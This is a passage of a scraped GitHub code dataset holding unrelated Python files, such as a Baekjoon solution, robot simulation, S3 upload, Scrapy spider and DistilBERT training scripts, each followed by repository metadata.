반복해 새 문자열 P를 만든 후 출력하는 프로그램을 작성하시오. 즉, 첫 번째 문자를 R번 반복하고, 두 번째 문자를 R번 반복하는 식으로 P를 만들면 된다. S에는 QR Code \"alphanumeric\" 문자만 들어있다.\n\n# QR Code \"alphanumeric\" 문자는 0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ\\$%*+-./: 이다.\n\n# 입력\n# 첫째 줄에 테스트 케이스의 개수 T(1 ≤ T ≤ 1,000)가 주어진다. 각 테스트 케이스는 반복 횟수 R(1 ≤ R ≤ 8), 문자열 S가 공백으로 구분되어 주어진다. S의 길이는 적어도 1이며, 20글자를 넘지 않는다. \n\n# 출력\n# 각 테스트 케이스에 대해 P를 출력한다.\n\nn = int(input())\n\nfor i in range(n):\n repit, str1 = input().split()\n result = \"\"\n for i in str1:\n result += int(repit) * i\n \n print(result)","repo_name":"ReasonsForWait/Python","sub_path":"baekjoon-0519.py","file_name":"baekjoon-0519.py","file_ext":"py","file_size_in_byte":3772,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"36565332780","text":"import time\nfrom qibullet import SimulationManager\nfrom qibullet import NaoVirtual\nfrom qibullet import NaoFsr\n\n\nif __name__ == \"__main__\":\n simulation_manager = SimulationManager()\n client = simulation_manager.launchSimulation(gui=True)\n nao = simulation_manager.spawnNao(client, spawn_ground_plane=True)\n\n # Alternative solution, get the FsrHandler of the robot:\n # fsr_handler = nao.getFsrHandler\n\n try:\n while True:\n # Get the FSR value of the front left FSR of NAO's left foot\n value = nao.getFsrValue(NaoFsr.LFOOT_FL)\n # Get the FSR value of the rear right FSR of NAO's right foot\n value = nao.getFsrValue(NaoFsr.RFOOT_RR)\n\n # Get all of the values of the FSRs of NAO's left foot\n values = nao.getFsrValues(NaoFsr.LFOOT)\n\n # Get the total weight value on the FSRs of NAO's right foot\n total_weight = nao.getTotalFsrValues(NaoFsr.RFOOT)\n print(\"Total weight on the right foot: \" + str(total_weight))\n\n # Alternative solution:\n # fsr_handler.getValue(NaoFsr.LFOOT_FL)\n # fsr_handler.getValue(NaoFsr.RFOOT_RR)\n # fsr_handler.getValues(NaoFsr.LFOOT)\n # fsr_handler.getTotalValue(NaoFsr.RFOOT)\n\n time.sleep(0.5)\n\n except KeyboardInterrupt:\n pass\n finally:\n simulation_manager.stopSimulation(client)\n","repo_name":"softbankrobotics-research/qibullet","sub_path":"examples/nao_fsr.py","file_name":"nao_fsr.py","file_ext":"py","file_size_in_byte":1410,"program_lang":"python","lang":"en","doc_type":"code","stars":130,"dataset":"github-code","pt":"52"} +{"seq_id":"15697133224","text":"import boto3\n\nfrom github_archive.utlis import udf_exception\n\n\nclass S3Service:\n def __init__(self) -> None:\n # os.environ.setdefault(\"AWS_PROFILE\", \"serverless\")\n self.s3_client = boto3.client(\"s3\")\n\n def s3_list_buckets(self) -> list:\n \"\"\"\n This Udf is used to list the buckets available in the account\n Returns: list of buckets\n \"\"\"\n response = self.s3_client.list_buckets()\n bucket_list = [bucket[\"Name\"] for bucket in response[\"Buckets\"]]\n return bucket_list\n\n @udf_exception\n def s3_write_content(self, content, bucket_name, file_name):\n put_response = self.s3_client.put_object(\n Body=content,\n Bucket=bucket_name,\n Key=file_name,\n )\n return put_response\n\n\nif __name__ == \"__main__\":\n s3 = S3Service()\n print(s3.s3_list_buckets())\n print(\n s3.s3_write_content(\n content=\"Hello\".encode(\"utf-8\"),\n bucket_name=\"sai-ts-learn-tf\",\n file_name=\"landing_zone/Test/Hello.txt\",\n )\n )\n","repo_name":"saiprashanthts1995/serverless_pipelines_using_lambda","sub_path":"github_archive/services/s3_service.py","file_name":"s3_service.py","file_ext":"py","file_size_in_byte":1070,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"10293410118","text":"# %%\n# VScodeで入力をテキストから読み込んで標準入力に渡す\nimport sys\nimport os\n\nfile_path = __file__.rsplit('/',1)[0]\nf=open(file_path + '/input.txt', 'r', encoding=\"utf-8\")\n# inputをフルパスで指定\n# win10でファイルを作るとs-jisで保存されるため、読み込みをutf-8へエンコードする必要あり\n# VScodeでinput file開くとutf8になってるんだけど中身は結局s-jisになっているらしい\nsys.stdin=f\n\n#\n# 入力スニペット\n# num = int(input())\n# num_list = [int(item) for item in input().split()]\n# num_list = [input() for _ in range(3)]\n##################################\n# %%\n# 以下ペースト可\n\n\ndef resolve():\n '''\n code here\n '''\n N = int(input())\n S = input()\n\n # res = 0\n # for i in range(1, N):\n # A = set(S[:i])\n # B = set(S[i:])\n\n # res = max(res, len(A * B))\n\n # print(res)\n\n A = set(S[:3])\n B = set(S[3:])\n\n print(A & B)\n\nif __name__ == \"__main__\":\n resolve()\n","repo_name":"staguchi0703/prob_boot_camp_medium","sub_path":"ABC098B/a_main.py","file_name":"a_main.py","file_ext":"py","file_size_in_byte":1010,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"4184051502","text":"import torch\nfrom torch import nn\n\nclass TextClassify(nn.Module):\n def __init__(self,vocabulary_size,max_seq_len=700,embedding_size=200,nums_class=2):\n super().__init__()\n self.embedding=nn.Embedding(vocabulary_size,embedding_size)\n self.lstm=nn.LSTM(embedding_size,128,2,batch_first=True,dropout=0.5)\n self.conv1=nn.Conv1d(max_seq_len,64,1)\n self.conv2=nn.Conv1d(64,1,1)\n\n self.classify=nn.Linear(128,2)\n def forward(self,x):\n x=self.embedding(x)\n x,h=self.lstm(x)\n x=self.conv1(x)\n x=nn.functional.relu(x)\n x=self.conv2(x)\n x=nn.functional.relu(x)\n x=torch.squeeze(x)\n #x=self.classify(x)\n x=nn.functional.relu(x)\n\n return x\n","repo_name":"streamer-AP/moive_comment_classify","sub_path":"exp4/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":745,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"6732014204","text":"import numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\ndef plot(fosEmsRate, defEmsRate):\r\n\r\n iniFossil = 6.88\r\n iniDef = 1.3\r\n goalConc = 938\r\n upperConc = 953\r\n lowerConc = 923\r\n\r\n iniFromFossil = 5.9168\r\n iniToFossil = 8.3936\r\n\r\n iniFromDefor = 0.637\r\n iniToDef = 2.015\r\n\r\n iniConc = 769\r\n totConc = 769\r\n\r\n fromFossil = 5.9168\r\n toFossil = 8.3936\r\n\r\n fromDef = 0.637\r\n toDef = 2.01\r\n\r\n ind = 2000\r\n iniAbsRate = 0.012 * ((769 - 677))\r\n absRate = iniAbsRate\r\n\r\n yTotEms = []\r\n xYears = []\r\n\r\n yTotConc = []\r\n yAbsRate = []\r\n\r\n\r\n while ind <= 2100:\r\n\r\n fosEmsRate = fromFossil - 1;\r\n while(fosEmsRate < fromFossil or fosEmsRate > toFossil):\r\n print(\"Please enter fossil fuel emission rate in GTc/year in the range(\", fromFossil, \", \", toFossil, \") for year\", ind, \": \")\r\n fosEmsRate = float(input())\r\n\r\n defEmsRate = fromDef - 1;\r\n while(defEmsRate < fromDef or defEmsRate > toDef):\r\n print(\"Please enter deforestation emission rate in GTc/year in the range(\", fromDef, \", \", toDef, \") for year\", ind, \": \")\r\n defEmsRate = float(input())\r\n\r\n totEmsRate = fosEmsRate + defEmsRate\r\n\r\n for year in range(ind, ind + 10):\r\n absRate = 0.012 * ((totConc - 677))\r\n totConc = totConc + totEmsRate - absRate\r\n yTotConc.append(totConc)\r\n yAbsRate.append(absRate)\r\n yTotEms.append(totEmsRate)\r\n xYears.append(year)\r\n\r\n\r\n X = np.arange(totConc)\r\n\r\n plt.fill_betweenx(X,1,color='orange')\r\n plt.hlines(y=938,xmin=0,xmax=1,color='green')\r\n plt.hlines(y=923,xmin=0,xmax=1,color='red')\r\n plt.hlines(y=953,xmin=0,xmax=1,color='red')\r\n plt.ylim(600,1200)\r\n plt.xticks([])\r\n plt.savefig(\"output0.jpg\")\r\n plt.show()\r\n\r\n\r\n plt.plot(xYears, yTotConc)\r\n plt.xlim(2000,2100)\r\n plt.ylim(0,1400)\r\n plt.ylabel(\"Total Concentration of CO2\")\r\n plt.xlabel(\"Years\")\r\n plt.title(\"Total Concentration over the Years\")\r\n plt.savefig(\"output1.jpg\")\r\n plt.show()\r\n\r\n plt.plot(xYears, yTotEms);\r\n plt.xlim(2000,2100)\r\n plt.ylim(0,15)\r\n plt.ylabel(\"Total Emission Rate of CO2\")\r\n plt.xlabel(\"Years\")\r\n plt.title(\"Total Emission Rate over the Years\")\r\n plt.savefig(\"output2.jpg\")\r\n plt.show()\r\n\r\n plt.plot(xYears, yAbsRate)\r\n plt.xlim(2000,2100)\r\n plt.ylim(0,15)\r\n plt.ylabel(\"Total Absorption Rate of CO2\")\r\n plt.xlabel(\"Years\")\r\n plt.title(\"Total Absorption Rate over the Years\")\r\n plt.savefig(\"output3.jpg\")\r\n plt.show()\r\n\r\n fromFossil = .86 * fosEmsRate\r\n toFossil = 1.22 * fosEmsRate\r\n\r\n fromDef = .49 * defEmsRate\r\n toDef = 1.55 * defEmsRate\r\n\r\n ind = ind + 10\r\n","repo_name":"abhishekparmar1200/CS308_Project","sub_path":"Group10/untitled3.py","file_name":"untitled3.py","file_ext":"py","file_size_in_byte":2915,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"70306591845","text":"from copy import deepcopy\nimport torchvision.transforms as transforms\nimport timm\nfrom timm.data import resolve_data_config\nfrom timm.data.transforms_factory import create_transform\n\ndef augmentations(args):\n if 'resnet' in args.architecture or 'alexnet' in args.architecture:\n args.logger.print('Using the standard augmentations (e.g. ResNet, AlexNet, etc.)')\n if args.dataset == 'mnist':\n args.mean = (0.1307, 0.1307, 0.1307)\n args.std = (0.3081, 0.3081, 0.3081)\n train_transform = transforms.Compose([\n transforms.RandomCrop(28, padding=2),\n transforms.RandomRotation(10),\n transforms.ToTensor(),\n transforms.Normalize((0.1307), (0.3081))\n ])\n test_transform = transforms.Compose([\n transforms.ToTensor(),\n transforms.Normalize((0.1307), (0.3081))\n ])\n elif args.dataset == 'cifar10':\n args.mean = (0.4914, 0.4822, 0.4465)\n args.std = (0.247, 0.243, 0.261)\n train_transform = transforms.Compose([\n transforms.RandomCrop(32, padding=4),\n transforms.RandomHorizontalFlip(),\n transforms.ToTensor(),\n transforms.Normalize(args.mean, args.std),\n ])\n test_transform = transforms.Compose([\n transforms.ToTensor(),\n transforms.Normalize(args.mean, args.std),\n ])\n elif args.dataset == 'cifar100':\n args.mean = (0.5071, 0.4866, 0.4409)\n args.std = (0.2009, 0.1984, 0.2023)\n train_transform = transforms.Compose([\n transforms.RandomCrop(32, padding=4),\n transforms.RandomHorizontalFlip(p=0.5),\n transforms.ColorJitter(brightness=0.24705882352941178),\n #transforms.RandomRotation(10),\n transforms.ToTensor(),\n transforms.Normalize(args.mean, args.std),\n ])\n test_transform = transforms.Compose([\n transforms.ToTensor(),\n transforms.Normalize(args.mean, args.std),\n ])\n # The tiny-imagenet data is resized to 32 as CIFAR so that we can use the same architecture we used for CIFAR\n elif args.dataset == 'timgnet':\n args.mean = (0.485, 0.456, 0.406)\n args.std = (0.229, 0.224, 0.225)\n train_transform = transforms.Compose([\n transforms.Resize((32, 32)),\n transforms.RandomCrop(32, padding=4),\n transforms.RandomHorizontalFlip(),\n transforms.ToTensor(),\n transforms.Normalize(args.mean, args.std),\n ])\n test_transform = transforms.Compose([\n transforms.Resize((32, 32)),\n transforms.ToTensor(),\n transforms.Normalize(args.mean, args.std),\n ])\n else:\n raise NotImplementedError()\n return train_transform, test_transform\n elif 'deit' in args.architecture or 'vit' in args.architecture:\n args.logger.print('Using augmentations of ViT')\n model_ = timm.create_model(args.architecture, pretrained=False, num_classes=1).cuda()\n config = resolve_data_config({}, model=model_)\n TRANSFORM = create_transform(**config)\n\n test_transform = deepcopy(TRANSFORM)\n return TRANSFORM, test_transform\n else:\n raise NotImplementedError()","repo_name":"k-gyuhak/CLOOD","sub_path":"datasets/augs.py","file_name":"augs.py","file_ext":"py","file_size_in_byte":3557,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"52"} +{"seq_id":"12246301520","text":"import numpy as np\nimport os\nimport sys\nimport time\nfrom . import util\n# from scipy.misc import imresize\nfrom PIL import Image\nif sys.version_info[0] == 2:\n VisdomExceptionBase = Exception\nelse:\n VisdomExceptionBase = ConnectionError\n\n\nclass Visualizer():\n def __init__(self, opt):\n self.display_id = opt.display_id\n self.win_size = opt.display_winsize\n self.name = opt.name\n self.opt = opt\n self.saved = False\n if self.display_id > 0:\n import visdom\n self.ncols = opt.display_ncols\n self.vis = visdom.Visdom(server=opt.display_server, port=opt.display_port, env=opt.display_env, raise_exceptions=True)\n\n self.img_dir = os.path.join(opt.checkpoints_dir, opt.name, 'images')\n print('create images directory %s...' % self.img_dir)\n util.mkdirs([self.img_dir])\n self.log_name = os.path.join(opt.checkpoints_dir, opt.name, 'loss_log.txt')\n with open(self.log_name, \"a\") as log_file:\n now = time.strftime(\"%c\")\n log_file.write('================ Training Loss (%s) ================\\n' % now)\n\n def reset(self):\n self.saved = False\n\n def throw_visdom_connection_error(self):\n print('\\n\\nCould not connect to Visdom server (https://github.com/facebookresearch/visdom) for displaying training progress.\\nYou can suppress connection to Visdom using the option --display_id -1. To install visdom, run \\n$ pip install visdom\\n, and start the server by \\n$ python -m visdom.server.\\n\\n')\n exit(1)\n\n # |visuals|: dictionary of images to display or save\n def display_current_results(self, visuals, epoch, save_result,std=0.5,mean=0.5):\n if self.display_id > 0: # show images in the browser\n ncols = self.ncols\n if ncols > 0:\n ncols = min(ncols, len(visuals))\n h, w = next(iter(visuals.values())).shape[:2]\n table_css = \"\"\"\"\"\" % (w, h)\n title = self.name\n label_html = ''\n label_html_row = ''\n images = []\n idx = 0\n for label, image in visuals.items():\n image_numpy = util.tensor2im(image,std=std,mean=mean)\n label_html_row += '%s' % label\n image_numpy = image_numpy.transpose([2, 0, 1])#h,w,c->c,h,w\n images.append(image_numpy)\n idx += 1\n if idx % ncols == 0:\n label_html += '%s' % label_html_row\n label_html_row = ''\n white_image = np.ones_like(image_numpy.transpose([2, 0, 1])) * 255\n while idx % ncols != 0:\n images.append(white_image)\n label_html_row += ''\n idx += 1\n if label_html_row != '':\n label_html += '%s' % label_html_row\n # pane col = image row\n try:\n self.vis.images(images, nrow=ncols, win=self.display_id + 1,\n padding=2, opts=dict(title=title + ' images'))\n label_html = '%s
    ' % label_html\n self.vis.text(table_css + label_html, win=self.display_id + 2,\n opts=dict(title=title + ' labels'))\n except VisdomExceptionBase:\n self.throw_visdom_connection_error()\n\n else:\n idx = 1\n for label, image in visuals.items():\n image_numpy = util.tensor2im(image,std=std,mean=mean)\n self.vis.image(image_numpy.transpose([2, 0, 1]), opts=dict(title=label),\n win=self.display_id + idx)\n idx += 1\n\n if save_result or not self.saved: # save images\n self.saved = True\n for label, image in visuals.items():\n image_numpy = util.tensor2im(image,std=std,mean=mean)\n img_path = os.path.join(self.img_dir, 'epoch%.3d_%s.png' % (epoch, label))\n util.save_image(image_numpy, img_path)\n \n # losses: dictionary of error labels and values\n def plot_current_losses(self, epoch, counter_ratio, losses):\n if not hasattr(self, 'plot_data'):\n self.plot_data = {'X': [], 'Y': [], 'legend': list(losses.keys())}\n self.plot_data['X'].append(epoch + counter_ratio)\n self.plot_data['Y'].append([losses[k] for k in self.plot_data['legend']])\n try:\n self.vis.line(\n X=np.stack([np.array(self.plot_data['X'])] * len(self.plot_data['legend']), 1),\n Y=np.array(self.plot_data['Y']),\n opts={\n 'title': self.name + ' loss over time',\n 'legend': self.plot_data['legend'],\n 'xlabel': 'epoch',\n 'ylabel': 'loss'},\n win=self.display_id)\n except VisdomExceptionBase:\n self.throw_visdom_connection_error()\n\n # losses: same format as |losses| of plot_current_losses\n def print_current_losses(self, epoch, i, losses, t, t_data):\n message = '(epoch: %d, iters: %d, time: %.3f, data: %.3f) ' % (epoch, i, t, t_data)\n for k, v in losses.items():\n message += '%s: %.4f ' % (k, v)\n\n print(message)\n with open(self.log_name, \"a\") as log_file:\n log_file.write('%s\\n' % message)\n","repo_name":"LitYan/aug_models","sub_path":"util/visualizer.py","file_name":"visualizer.py","file_ext":"py","file_size_in_byte":5835,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"52"} +{"seq_id":"19359804775","text":"# -*- coding: utf-8 -*-\nfrom datetime import datetime\nfrom scrapy.linkextractors import LinkExtractor\nfrom scrapy.spiders import Rule\nfrom news_all.spider_models import NewsRCSpider\n\n\nclass Haikouwb_allSpider(NewsRCSpider):\n \"\"\"海口晚报\"\"\"\n name = 'hkwb'\n mystart_urls = {\n 'http://www.hkwb.net/news/haikou_zj.html': 1301184, # 海口晚报-原创-左侧列表\n # 'http://www.hkwb.net/zhuanti/node_25600.htm': 1301183, # 海口晚报-城市更新-底部列表采集\n }\n rules = (\n #http://www.hkwb.net/news/content/2019-06/20/content_3737948.htm\n Rule(LinkExtractor(allow=(r'hkwb.net/news/content/%s/\\d{2}/content_\\d+.htm' % datetime.today().strftime('%Y-%m'), ),\n ), callback='parse_item',\n follow=False),\n )\n \n def parse_item(self, response):\n xp = response.xpath\n try:\n title = xp(\"//div[@class='newsContent_title']/h1/text()\").extract_first()\n source = xp(\"//div[@class='newsContent_Source']\")[0]\n content_div = xp(\"//div[@class='newsContent_Detailed']\")[0]\n pubtime = source.re(r'\\d{2,4}-\\d{1,2}-\\d{1,2}')[0]\n og = xp(\"//div[@class='newsContent_Source']/a/text()\").extract_first('').split()\n origin_name = og[0].strip() if og else \"\"\n content, media, _, _ = self.content_clean(content_div,\n kill_xpaths='//img[contains(@src,\"/54e1adffdd131e811d0d46.jpg\")]')\n except:\n return self.produce_debugitem(response, \"xpath error\")\n\n return self.produce_item(\n response=response,\n title=title,\n pubtime=pubtime,\n origin_name=origin_name,\n content=content,\n media=media\n )\n","repo_name":"Pintrue/news_all","sub_path":"news_all/spiders_old2/haikouwb_all.py","file_name":"haikouwb_all.py","file_ext":"py","file_size_in_byte":1806,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"52"} +{"seq_id":"31511890710","text":"rijec = input(\"Rijec: \")\nrijec = [i for i in rijec]\nflag = False\nfor i in range(len (rijec)):\n if i < len(rijec):\n if rijec[i].capitalize() in \"LN\" and rijec[i + 1].capitalize() == \"J\":\n print(\"\".join(rijec[i:i+2]))\n flag = True\n continue\n elif rijec[i].capitalize() in \"D\" and rijec[i + 1].capitalize() == \"Ž\":\n print(\"\".join(rijec[i:i+2]))\n flag = True\n continue\n if flag: \n flag = False\n continue\n elif rijec[i].isalpha():\n print(rijec[i])\n","repo_name":"Mathyan/Vjezba_5","sub_path":"vjezba5_zd05.py","file_name":"vjezba5_zd05.py","file_ext":"py","file_size_in_byte":554,"program_lang":"python","lang":"hr","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"438237172","text":"import requests\nimport logging\nimport os\nimport json\nfrom datadog import initialize\nfrom datadog import statsd\nimport time\n\nclass EWBFStats:\n def __init__(self):\n self.config = self._getconfig()\n self._initialize_dogstatsd()\n\n def poll_stats(self):\n poll_time = int(self.config['poll'])\n while(True):\n stats = self._getstats()\n self._send_stats(stats)\n time.sleep(poll_time)\n \n def _getconfig(self):\n config = {}\n config['host'] = os.getenv('HOST', default='127.0.0.1')\n config['port'] = os.getenv('PORT', default=5000)\n config['uri'] = os.getenv('URI', default='/getstat')\n config['poll'] = os.getenv('POLLSEC', default=15)\n # Purposefully going to fail if these values are not set\n config['api_key'] = os.environ['API_KEY']\n config['app_key'] = os.environ['APP_KEY']\n\n return config\n\n def _initialize_dogstatsd(self):\n options = {\n 'api_key': self.config['api_key'],\n 'app_key': self.config['app_key']\n }\n initialize(**options)\n\n def _getstats(self):\n stats = {}\n request_url = 'http://{}:{}{}'.format(self.config['host'], self.config['port'], self.config['uri'])\n try:\n r = requests.get(request_url)\n r.raise_for_status()\n stats = json.loads(r.text)\n except requests.HTTPError:\n logging.critical('Unable fetch stats at %s, retrying', request_url, exc_info=True)\n except requests.ConnectionError:\n logging.critical('Unable to connect to EWBF at address %s', request_url, exc_info=True)\n return stats\n\n def _send_stats(self, stats):\n for result in stats['result']:\n for k,v in result.items():\n if isinstance(v, str):\n continue\n statsd.gauge('ewbf.{}'.format(k), v, tags=['name:{}-{}'.format(result['name'], result['gpuid'])])\n","repo_name":"djenriquez/ewbf-statsd","sub_path":"src/getstats.py","file_name":"getstats.py","file_ext":"py","file_size_in_byte":1983,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"37904081126","text":"import numpy as np\nimport pandas as pd\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\n\nfrom torch.utils.data import Dataset, DataLoader\nfrom transformers import (\n AutoTokenizer, \n AutoModelForMaskedLM,\n AdamW\n)\nfrom tqdm import tqdm\nfrom sklearn.model_selection import train_test_split\n\n\nclass DialogueDataset(Dataset):\n def __init__(self, data):\n self.data = data\n\n def __len__(self):\n return len(self.data)\n\n def __getitem__(self, idx):\n return self.data[idx]\n\n\ndef train(model, tokenizer, opt, train_data, epochs, delay): \n # delay: utility variable to save models after restarting colab\n\n losses = []\n\n for epoch in tqdm(range(delay, epochs + delay)):\n\n print('\\n* Epoch {}/{}'.format(epoch+1, epochs))\n\n avg_loss = 0\n\n for batch in train_data:\n model.zero_grad()\n\n inputs = tokenizer(batch, return_tensors='pt', truncation=True).to(device)\n labels = inputs.input_ids.clone().detach().to(device)\n\n for i in range(np.random.randint(1, 5)):\n labels[0][-1 - i] = 103\n\n loss = model(**inputs, labels=labels).loss\n\n loss.backward()\n opt.step()\n\n avg_loss += loss / len(train_data)\n \n print('\\nloss: {}'.format(avg_loss))\n\n losses.append(avg_loss)\n\n torch.save(model.state_dict(), './Models/distilbert_chat_{}'.format(epoch))\n return losses\n\ndef main():\n # fix random seeds\n np.random.seed(0)\n torch.manual_seed(0)\n\n dialogues = pd.read_csv('/datasets/TlkPersonaChatRus/dialogues.tsv', sep='\\t')\n for column in dialogues.columns:\n dialogues[column].replace(to_replace=r'<[a-zA-Z0-9_=\\/ ]+>', value=' ', regex=True, inplace=True)\n dialogues['dialogue'].replace(to_replace=r'Пользователь [12]:|Привет|Здравствуйте|[!)?,]', value='', regex=True, inplace=True)\n dialogues['dialogue'].replace(to_replace=r'\\s\\s+', value=' ', regex=True, inplace=True)\n data = DialogueDataset(dialogues['dialogue'])\n\n device = torch.device('cuda') if torch.cuda.is_available() else torch.device('cpu')\n\n if torch.cuda.is_available():\n print('Training on GPU :)')\n else:\n print('Training on CPU :(')\n\n tokenizer_distilbert = AutoTokenizer.from_pretrained('distilbert-base-multilingual-cased')\n\n model_distilbert = AutoModelForMaskedLM.from_pretrained('distilbert-base-multilingual-cased')\n model_distilbert.to(device)\n\n optimizer = AdamW(model_distilbert.parameters(), lr=3e-4)\n losses = train(model_distilbert, tokenizer_distilbert, optimizer, train_data, epochs=10, delay=0)\n print(losses)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"ivan-goldov/text-generation-3rd-sem","sub_path":"distilbert/train-distilbert.py","file_name":"train-distilbert.py","file_ext":"py","file_size_in_byte":2733,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"70081837926","text":"import pymysql\nimport copy\nfrom resources.rdbresource import get_by_by_query\nfrom graphs.got.got_graph import GotGraph\n\ngraph = GotGraph()\n\ndef get_characters_by_query(args):\n res = get_by_by_query(\"HW4GoT\", \"characters\", args)\n return res\n\ndef get_character_by_id(ch_id):\n args = {\"character_id\": ch_id.upper()}\n res = get_by_by_query(\"HW4GoT\", \"characters\", args)\n return res\n\ndef get_related_characters(ch_id, r_kind):\n ch_id, r_kind = ch_id.upper(), r_kind.upper()\n res = graph.get_related_characters(ch_id, r_kind)\n ret = []\n for r in res:\n d = dict(r.end_node)\n if d[\"character_id\"] != ch_id:\n ret.append(d)\n return ret\n","repo_name":"hz512/COMS4111_Database","sub_path":"HW4/HW4_step3/hz2712_W4111_F20_HW4/Characters.py","file_name":"Characters.py","file_ext":"py","file_size_in_byte":681,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"8215102583","text":"\"\"\"\nImplementazione di un DecisonTreeRegressor. In questo file si cerca di effettuare la regressione sul campo \"1\", ovvero\ni CFU sostenuti al primo anno. Per farlo vengono presi in esame tutti gli attributi a disposizione. Siccome la regressione,\naspetta in input solamente valori numerici, ho mappato le stringhe in valori numerici. La tecnica utilizzata è stata quella\ndi utilizzare un dizionario, dove ogni elemento rappresenta la chiave e il valore è un semplice enumerazione. Eg.:\nTipo_mat_dict= dict([(y,x+1) for x,y in enumerate(sorted((set(tipo_mat))))]) con questa riga, vengono mappate tutte le maturità,\nquindi \"Scientifica\" rappresenterà la chiave, e ad essa sarà associato un valore. Il risultato di questo mapping viene scritto nei file\nCod_School.txt, Mot_sta_stud.txt, sta_stud.txt, Tipo_mat.txt\n\nSuccessivamente viene lanciato un decision tree, non prima di aver fatto cross-validation. Il punteggio ottenuto in termini di R2Score, è ottimo, 0.86.\n\n\n\nEDIT: MI SONO ACCORTO CHE IL MODELLO SI ADATTAVA TROPPO ALLA DISTRIBUZIONE DEGLI STUDENTI. INFATTI LE PREDIZIONI ERANO MOLTO PIù\nPRECISE QUANDO LO STUDENTE ERA UNO STUDENTE IN CORSO, E NON LAUREATO, PER FARE IN MODO DA SUDDIVIDERE GLI STUDENTI LAUREATI DA QUELI NON LAUREATI\nHO CREATO IL FILE WriteListDecisionTree.py DOVE EFFETTUO LA SEPARAZIONE DEI DUE TIPI DI STUDENTI. LEGGO I DATI DAI RISPETTIVI FILE E GENERO TRAINSET E TESTSET\nIN MODO DA MANTENERE UNA PERCENTUALE DI 80/20 DI COMPOSIZIONE. IL TRAIN SET QUINDI SARA COSTITUITO DALL 80% DEL DATASET TOTALE.\n\nPER VISUALIZZARE L'ALBERO OUTPUT DI QUESTO ALGORITMO COPIARE IL CONTENUTO DEL FILE DecisionTree.txt e incollare tutto nella TextBox del sito http://webgraphviz.com/ .\n\nEnjoy the happines.\n\"\"\"\n\nimport pandas as pd\nfrom sklearn.model_selection import cross_val_score\nfrom sklearn.tree import DecisionTreeRegressor\nfrom sklearn.metrics import mean_squared_error\nfrom sklearn.tree import export_graphviz\nfrom matplotlib import pyplot as plt\n\n\n\npredictiveAttributeDegree = pd.read_json(\"../predictiveDegree.txt\", orient='records', dtype=True,typ=\"series\") #AGGIUSTARE I PATH, IN MODO DA RAGGIUNGERE QUESTO FILE\npredictiveAttributeNotDegree = pd.read_json(\"../predictiveNotDegree.txt\", orient='records', dtype=True,typ=\"series\") #AGGIUSTARE I PATH, IN MODO DA RAGGIUNGERE QUESTO FILE\n\n\ntrain_set = []\ntest_set = []\ntrain_result = []\ntest_result = []\ncount = 0\ntrain_percent = (len(predictiveAttributeDegree)/100)*80\nfor i in range(len(predictiveAttributeDegree)):\n if count < train_percent:\n count = count + 1\n train_set.append([predictiveAttributeDegree[i][10], predictiveAttributeDegree[i][12], predictiveAttributeDegree[i][2]])\n train_result.append([predictiveAttributeDegree[i][20]])\n else:\n test_set.append([predictiveAttributeDegree[i][10], predictiveAttributeDegree[i][12], predictiveAttributeDegree[i][2]])\n test_result.append([predictiveAttributeDegree[i][20]])\n\ntrain_percent = (len(predictiveAttributeNotDegree)/100)*80\ncount = 0\nfor i in range(len(predictiveAttributeNotDegree)):\n if count < train_percent:\n count = count + 1\n train_set.append([predictiveAttributeNotDegree[i][10], predictiveAttributeNotDegree[i][12],predictiveAttributeNotDegree[i][2]])\n train_result.append([predictiveAttributeNotDegree[i][20]])\n else:\n test_set.append([predictiveAttributeNotDegree[i][10], predictiveAttributeNotDegree[i][12], predictiveAttributeNotDegree[i][2]])\n test_result.append([predictiveAttributeNotDegree[i][20]])\n\n\nregressor = DecisionTreeRegressor(random_state=0, min_samples_leaf=10)\nprint(cross_val_score(regressor, train_set[1:], train_result[1:], cv=10))\nregressor.fit(train_set, train_result)\nprint(regressor.score(test_set, test_result))\n# matr cf 2 3 tot cds tipoCds coorte annicarriera annodiploma votodip codschool tipoMat annolaur votolaur erasmus tesi mot_sta sta fc\nnewStudent = [[85, 11, 30]]\nreal_value = [1]\npredicted = regressor.predict(newStudent)\nprint(\"Predicted: \", predicted)\nprint(\"MSE: \", mean_squared_error(real_value, regressor.predict(newStudent)))\nprint(\"Params: \", regressor.get_params())\nprint(\"Feature Importance: \", regressor.feature_importances_)\n","repo_name":"Sebastiano2906/MachineLearning-StudentActivity","sub_path":"MachineLearning-StudentActivity/DSML_Task3/DecisionTree/DecisionTreeRegressor.py","file_name":"DecisionTreeRegressor.py","file_ext":"py","file_size_in_byte":4220,"program_lang":"python","lang":"it","doc_type":"code","stars":2,"dataset":"github-code","pt":"52"} +{"seq_id":"71733610405","text":"import json\nimport re\nfrom abc import ABC, abstractmethod\nfrom contextlib import nullcontext\nfrom typing import Any, Dict, List, Optional, TypedDict\n\nimport openai\nimport pandas as pd\nimport streamlit as st\nimport tiktoken\n\n\nclass BaseTask(ABC):\n @property\n @abstractmethod\n def name(self) -> str:\n \"\"\"Returns the name of the task (library/framework).\"\"\"\n return NotImplemented\n\n @abstractmethod\n def get_task_prompt(\n self,\n task_name: str,\n description: str,\n ) -> str:\n return NotImplemented\n\n @abstractmethod\n def handle_output(self, task_output: Any) -> Optional[pd.DataFrame]:\n 